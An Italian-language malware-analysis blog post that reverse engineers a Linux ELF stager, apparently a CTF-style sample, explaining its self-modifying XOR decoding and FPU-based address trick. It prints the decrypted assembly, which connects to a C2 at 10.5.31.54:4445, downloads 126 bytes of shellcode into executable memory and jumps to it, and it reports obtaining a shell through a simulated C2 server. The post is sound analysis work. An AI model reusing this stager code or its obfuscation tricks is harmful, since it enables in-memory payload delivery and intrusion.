L’analisi di malware ELF (Executable and Linkable Format), tipicamente mirato a sistemi Linux, rappresenta una sfida complessa a causa delle sofisticate tecniche di offuscamento e anti-analisi impiegate dagli attaccanti. Questo articolo si concentra sull’analisi statica e la decostruzione di uno stager particolarmente insidioso che utilizza self-modifying code e una chiave XOR polimorfica per mascherare il suo vero contenuto.
L’obiettivo è trasformare un binario non analizzabile staticamente in un formato decrittato e leggibile, superando i blocchi iniziali imposti da istruzioni che generano badcode nei disassemblatori come radare2 e Ghidra. Attraverso un approccio misto che combina analisi dinamica temporanea e successiva ispezione statica del codice dumpato, si rivela la vera natura del malware: un loader in-memory che alloca risorse, stabilisce una connessione Command and Control (C2) con l’indirizzo 10.5.31.54:4445 e scarica un payload secondario dinamico da eseguire immediatamente.
“everything is open source if you can reverse engineer” HCF
Step Fondamentali dell’Analisi Statica Avanzata
- Stub di decodifica con chiave xor polimorfica
- Bypass dell’Offuscamento a Runtime (Self-Modifying Code)
- Analisi Statica del Codice Decrittato
- Simulazione dell’Infrastruttura C2 con Script Python
- Estrazione di Indicatori di Compromissione (IoC)
- Conclusioni
Stub di decodifica con chiave xor polimorfica
Attraverso radare2 si prova ad andalizzare l’unica porzione di disassemblato che abbiamo a disposizione. radare2 (spesso abbreviato in r2) è un framework completo e open source per il reverse engineering e l’analisi di file binari. Non è un singolo strumento, ma una suite di potenti utility a riga di comando che possono essere usate insieme per disassemblare, analizzare, modificare e sfruttare qualsiasi tipo di file binario, come eseguibili, librerie, firmware e malware.
[0x00400078]> afl
0x00400078 1 31 entry0
[0x00400078]> s entry0
[0x00400078]> pdf
0x00400078 mov edi, 0x6e301cbd
0x0040007d fcmovnu st(0), st(4)
0x0040007f fnstenv [rsp - 0xc]
0x00400083 pop rdx
0x00400084 sub ecx, ecx ; arg4
0x00400086 mov cl, 0x21 ; ‘!’ ; 33
0x00400088 sub edx, 0xfffffffc
0x0040008b xor dword [rdx + 0x10], edi
0x0040008e add edi, dword [rdx + 0x10]
0x00400091 pop rdi
0x00400092 jmp 0x78a0600f
Questa porzione del codice, l’unica valida che abbiamo inizialmente, esegue una decodifica in-place di una sezione di codice successiva utilizzando una chiave XOR che si automodifica (polimorfica)
void entry(void)
{
uint *puVar1;
int in_FPUInstructionPointer;
puVar1 = (uint *)((ulong)(in_FPUInstructionPointer + 4) + 0x10);
*puVar1 = *puVar1 ^ 0x6e301cbd;
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata(); <-- badcode
}
Il decompilatore di Ghidra traduce il codice macchina a basso livello (assembly) di un programma in un linguaggio ad alto livello, come il C. Il suo scopo è ricostruire una versione del codice sorgente che sia leggibile e comprensibile per un essere umano, facilitando enormemente l’analisi del comportamento di un software senza averne il codice originale.
La particolarità di questo malware è che staticamente non è analizzabile. radare2 e ghidra vedono solo badcode dopo poche istruzioni. L’analisi dinamica mostra che a partire da 0x00400091 il malware si autoriscrive tramite un loop di xor. Per poter ottenere il codice reale ho usato gdb: ho lasciato che il malware completasse la fase di riscrittura in memoria e solo dopo ho analizzato il dump del codice risultante, evitando di continuare l’esecuzione dinamica e avendo così il corpo completo da studiare staticamente.
Bypass dell’Offuscamento a Runtime (Self-Modifying Code)
0x0040007d fcmovnu st(0), st(4)
0x0040007f fnstenv [rsp - 0xc]
0x00400083 pop rdx
fcmovnu è un’istruzione di riempimento usata per garantire che ci sia un’istruzione FPU da cui fnstenv possa leggere l’IP (Instruction Pointer). L’indirizzo nella FPU viene aggiornato solo e soltanto quando un’istruzione FPU viene eseguita. Se prima di fnstenv non ci fossero istruzioni FPU, il puntatore salvato potrebbe essere vecchio e completamente inutile, riferito a qualche operazione precedente. Inserendo fcmovnu (che è un’istruzione FPU a tutti gli effetti) subito prima, il malware si assicura che la FPU si “attivi”. Questa attivazione forza l’aggiornamento del suo puntatore interno all’indirizzo di fcmovnu.
Viene utilizzata l’istruzione fnstenv per salvare lo stato della FPU sullo stack. La struttura salvata contiene l’Instruction Pointer (IP)dell’ultima istruzione FPU (fcmovnu). fnstenv [mem] salva lo stato dell’FPU nella memoria indicata. È la vera istruzione che calcola indirettamente l’indirizzo corrente del codice (rip).
pop rdx recupera questo valore, ottenendo un indirizzo relativo a RIP necessario per il calcolo degli offset del codice da modificare.
In x86_64, se vuoi fare self-modifying code o leggere dati vicini al codice stesso, ti serve conoscere l’indirizzo corrente (Instruction Pointer IP). Non esiste un’istruzione diretta mov rax, rip su x86_64. Quindi si usano trick, tra cui fnstenv o call/pop.
0x00400088 sub edx, 0xfffffffc --> edx = edx + 4
Questa istruzione è o un trucco di offuscamento o per far sembrare l’istruzione più complicata. Serve a puntare al blocco di codice da riscrivere, regolando l’indirizzo calcolato con fnstenv. Alla fine in rdx avremo 0x00400081.
0x0040008b xor dword [rdx + 0x10], edi
rdx = 0x00400081 + 0x10 = 0x00400091
:> x/8x 0x00400091
0x00400091 5fe9 785f 6078 70c7
In rdi viene caricato 0x6e301cbd (chiave xor).
All’indirizzo 0x00400091 inizia la mutazione del codice.
0x00400091 pop rdi
0x00400092 jmp 0x78a0600f
Inizialmente quel pop rdi non fa nulla di significativo, serve solo a consumare 8 byte dallo stack e a riempire la memoria come placeholder. Subito dopo, durante il loop xor, i byte di quell’istruzione vengono riscritti in memoria e trasformati in istruzioni valide. Il pop rdi originale sparisce completamente. In pratica era lì solo come dato grezzo per il processo di self-modifying code, non per eseguire realmente un pop utile. Questa tecnica è tipica nei malware che usano self-modifying code: alcune istruzioni iniziali servono solo da “seme” per generare il codice finale eseguibile dopo il decrypt loop:
0x0040008b xor dword [rdx + 0x10], edi
0x0040008e add edi, dword [rdx + 0x10]
0x00400091 loop 0x400088
Calcolo esempio:
edi = 0x6e301cbd --> byte meno significativo = 0xbd
:> x/8x 0x00400091
0x00400091 5fe9 785f 6078 70c7
[0x400091] = 0x5f
5f ^ bd = e2
e9 ^ 1c = f5
e2f5 --> loop
Alla fine, si ottiene ‘loop 0x400088’ –> il loop si ripete ecx volte (33), riscrivendo il corpo del malware. Solo al termine il codice diventa eseguibile.
0x0040008e add edi, dword [rdx + 0x10]
Subito dopo aver decodificato una porzione di codice, il malware modifica la chiave stessa. Questa istruzione prende il valore appena decodificato dalla memoria e lo somma alla chiave contenuta in edi. La chiave è di fatto polimorfica.
Analisi Statica del Codice Decrittato
Il comando pdf sta per Print Disassembly Function ed è uno dei comandi più importanti in Radare2. La sua funzione è quella di disassemblare e stampare l’intero codice assembly della funzione che si trova alla posizione corrente del seek (impostata con il comando s).
[0x00400078]> pdf
0x00400078 mov edi, 0x6e301cbd
0x0040007d fcmovnu st(0), st(4)
0x0040007f fnstenv [rsp - 0xc]
0x00400083 pop rdx
0x00400084 sub ecx, ecx
0x00400086 mov cl, 0x21
0x00400088 sub edx, 0xfffffffc
0x0040008b xor dword [rdx + 0x10], edi
0x0040008e add edi, dword [rdx + 0x10]
0x00400091 loop 0x400088
0x00400093 xor rdi, rdi
0x00400096 push 9
0x00400098 pop rax
0x00400099 cdq
0x0040009a mov dh, 0x10
0x0040009c mov rsi, rdx
0x0040009f xor r9, r9
0x004000a2 push 0x22
0x004000a4 pop r10
0x004000a6 mov dl, 7
0x004000a8 syscall
Prima syscall = mmap (rax = 9), crea area eseguibile in memoria. La system call mmap (”memory map”) è un meccanismo fondamentale che crea una mappatura tra un file (o un dispositivo) e lo spazio di memoria virtuale di un processo. Il passo logico successivo per questo malware, dopo aver preparato la memoria con mmap, è contattare il server C2 e scaricare il payload in questa nuova area. Un server C2 o C&C (Command and Control) è l’infrastruttura remota che un malintenzionato usa per comunicare e gestire il malware installato sui computer infetti. In pratica, è il quartier generale dell’operazione malevola.
0x004000aa test rax, rax
0x004000ad js 0x400100
0x004000af push 0xa ;10
0x004000b1 pop r9
0x004000b3 push rax1
0x004000b4 push 0x29 ;41
0x004000b6 pop rax
0x004000b7 cdq 0x004000b8 6a02 push 2 ;2
0x004000ba pop rdi
0x004000bb push 1 ;1
0x004000bd pop rsi
0x004000be syscall
La socket syscall (rax=41, push 0x29, pop rax) è la funzione che crea un nuovo punto di comunicazione (un socket) e ne restituisce un “handle” (un file descriptor). È il primo passo fondamentale per qualsiasi programma che voglia comunicare in rete.
0x004000c0 test rax, rax
0x004000c3 js 0x400100
0x004000c5 xchg rdi, rax
0x004000c7 movabs rcx, 0x361f050a5d110002
Qui il malware costruisce l’indirizzo IP e la porta in un unico valore a 64-bit:
rcx = 0x361f050a5d110002
I byte sono disposti little-endian in memoria, quindi:
0x02 0x00 0x11 0x5d 0x0a 0x05 0x1f 0x36
I primi 4 byte (0x0a 0x05 0x1f 0x36) rappresentano l’indirizzo IP 10.5.31.54
I successivi 2 byte (0x11 0x5d) rappresentano la porta 4445
In questo modo il malware evita di usare strutture C standard e prepara la sockaddr_in manualmente nello stack.
0x004000d1 push rcx
0x004000d2 mov rsi, rsp
0x004000d5 push 0x10 ; 16
0x004000d7 pop rdx
0x004000d8 push 0x2a ; ‘*’ ; 42
0x004000da pop rax
0x004000db syscall
connect –> ip 10.5.31.54:4445. La syscall connect (rax=42), è la funzione che un programma client utilizza per stabilire una connessione a un server remoto, specificandone l’indirizzo IP e la porta. È il passo che unisce il socket locale, creato in precedenza, a un socket in ascolto su un’altra macchina.
Il codice prepara la struttura sockaddr_in direttamente nello stack, poi esegue la syscall. Se fallisce, il flow salta a 0x400100 per retry o exit. In pratica questa parte del malware stabilisce la connessione verso il C2 e prepara il canale per ricevere il payload.
0x004000dd pop rcx
0x004000de test rax, rax
0x004000e1 jns 0x400108
0x004000e3 dec r9
0x004000e6 je 0x400100
0x004000e8 push rdi
0x004000e9 push 0x23 ;35
0x004000eb pop rax
0x004000ec push 0
0x004000ee push 5 ;5
0x004000f0 mov rdi, rsp
0x004000f3 xor rsi, rsi
0x004000f6 syscall
La nanosleep syscall (rax=35) sospende l’esecuzione di un programma per un intervallo di tempo preciso, specificato in secondi e nanosecondi. È il modoefficiente per mettere in pausa un processo senza sprecare risorse della CPU.
0x004000f8 pop rcx
0x004000f9 pop rcx
0x004000fa pop rdi
0x004000fb test rax, rax
0x004000fe jns 0x4000c7
Il codice aspetta 5 secondi e torna indietro per riprovare la connect.
0x00400100 push 0x3c ;60
0x00400102 pop rax
0x00400103 push 1 ;1
0x00400105 pop rdi
0x00400106 syscall
Chiama la syscall exit (rax=60) se avvengono troppi fallimenti della connect.
0x00400108 pop rsi
0x00400109 push 0x7e ; ‘~’ ; 126
0x0040010b pop rdx
0x0040010c syscall
Salta qui se rax=0 (connect() ritorna 0 in rax se la connessione va a buon fine), quindi prova la syscall read dal socket per scaricare presumibilmente 126 byte di shellcode.
0x0040010e test rax, rax
0x00400111 js 0x400100
0x00400113 jmp rsi
jmp rsi –> esegue shellcode ricevuto
Il jmp rsi non è casuale: rsi contiene il puntatore all’area RWE allocata precedentemente con mmap (rax di mmap era stato salvato e poi passato a rsi). Quindi i 126 byte scaricati dal C2 vengono copiati lì dentro dalla syscall read, e subito dopo il malware trasferisce l’esecuzione a quell’indirizzo con jmp rsi. In pratica, rsi diventa l’entrypoint del payload secondario –> il malware è uno stager che esegue shellcode scaricato a runtime. Se la read non riceve tutti i 126 byte, rax resterebbe <126, ma il codice non fa controlli: salta comunque, quindi anche un buffer parziale verrebbe eseguito (probabilmente parte della logica del loader C2).
Uno stager è un piccolo loader, cioè un malware minimale che serve solo a preparare l’ambiente e scaricare o ricevere un payload più grande (il vero malware) da eseguire successivamente. In genere fa pochissime operazioni: alloca memoria (mmap), apre un socket, si collega a un server C2, poi fa una read/recv per ricevere del codice da remoto e ci salta dentro (jmp rsi in questo caso). In questo modo il binario iniziale resta molto piccolo e difficile da analizzare staticamente. L’analisi completa del comportamento dipende dal payload remoto, che può cambiare dinamicamente.
Uno stager come in questo caso scarica ed esegue subito un payload (tipicamente shellcode) in memoria, non salva nulla su disco: il codice viene eseguito direttamente nello spazio allocato con mmap e raggiunto da jmp rsi. Un downloader invece scarica un file (exe, script, dll, ecc.), di solito lo scrive su disco e poi lo esegue in termini pratici questo malware rientra nella categoria stager perché carica il payload in memoria senza persistenza su file system, ma in senso più generico possiamo dire che si comporta come un downloader in-memory.
Simulazione dell’Infrastruttura C2 con Script Python

Questo frammento dello script Python avvia il server (server.py) sulla porta 4445. L’azione avviene dopo aver configurato la nostra interfaccia di rete con l’indirizzo IP 10.5.31.54. Il suo scopo è servire un payload di 126 byte, composto da una shellcode di 27 byte e dal necessario padding.

Eseguiamo il malware all’interno della nostra sandbox REMnux. Lo stager si connette quindi al nostro server, scarica i 126 byte e li esegue immediatamente.

Abbiamo ottenuto l’accesso alla shell /bin/sh.
Estrazione di Indicatori di Compromissione (IoC)
Self-modifying code
Le istruzioni fcmovnu/fnstenv servono a ottenere l’indirizzo istruzione corrente (trick FPU).
Il loop xor decritta e patcha sé stesso in memoria. Senza esecuzione dinamica non si può ottenere il codice vero.
Attività di rete
Il malware apre un socket tcp verso 10.5.31.54 porta 4445.
In caso di fallimento usa nanosleep per attendere e riprovare.
Se la connessione non va a buon fine dopo vari tentativi, esegue una exit(1).
Se la connessione riesce, fa una read e salta al codice ricevuto (payload dinamico).
Conclusioni
L’analisi avanzata di questo malware ELF ha rivelato uno stager estremamente compatto. La sua principale difesa non risiede in un algoritmo di cifratura complesso, ma nell’uso sapiente del self-modifying code e di tecniche FPU-based per ingannare gli strumenti di disassemblaggio statico.
Risultati Chiave
- Tecnica Principale: Offuscamento tramite decodifica XOR polimorfica del codice a runtime (self-modifying code).
- Obiettivo: Il malware è uno stager che alloca un’area RWE (mmap) e tenta di stabilire una connessione TCP verso il server C2 10.5.31.54:4445.
- Payload: Dopo aver stabilito la connessione, esegue una read dal socket e trasferisce il controllo (jmp rsi) al codice scaricato, garantendo che il payload finale non sia mai presente sul disco, complicando l’analisi forense post-compromissione.
Autore
HCF: hacker artist, reverse engineer, battle programmer e malware & cybersecurity analyst.
Enter My World: https://entermyworld.substack.com
blog: spaghetti-hacker.blogfree.net
Halt and Catch Fire, indicato con la sigla mnemonica di HCF, è un’istruzione fittizia del linguaggio assembly, intesa prevalentemente come uno scherzo, che è stata usata per definire istruzioni solitamente non documentate che portano la CPU in uno stato da cui può essere fatta uscire solo con un reset; solitamente con la sigla HCF si descrive una o più istruzioni non documentate presenti in molte architetture e utilizzate per poter effettuare agevolmente particolari test durante lo sviluppo dei prodotti, ma che non sono da utilizzarsi nella normale operatività.
Il “Reverse Engineering” è l’esigenza, la pretesa da parte degli utenti di poter aprire, esplorare, modificare la tecnologia, secondo le proprie esigenze, ampliare e quindi sviluppare nuove caratteristiche per adattare ogni cosa al quadro tecnologico, che è sempre in evoluzione.
flag{we_beleaf_in_your_re_future}





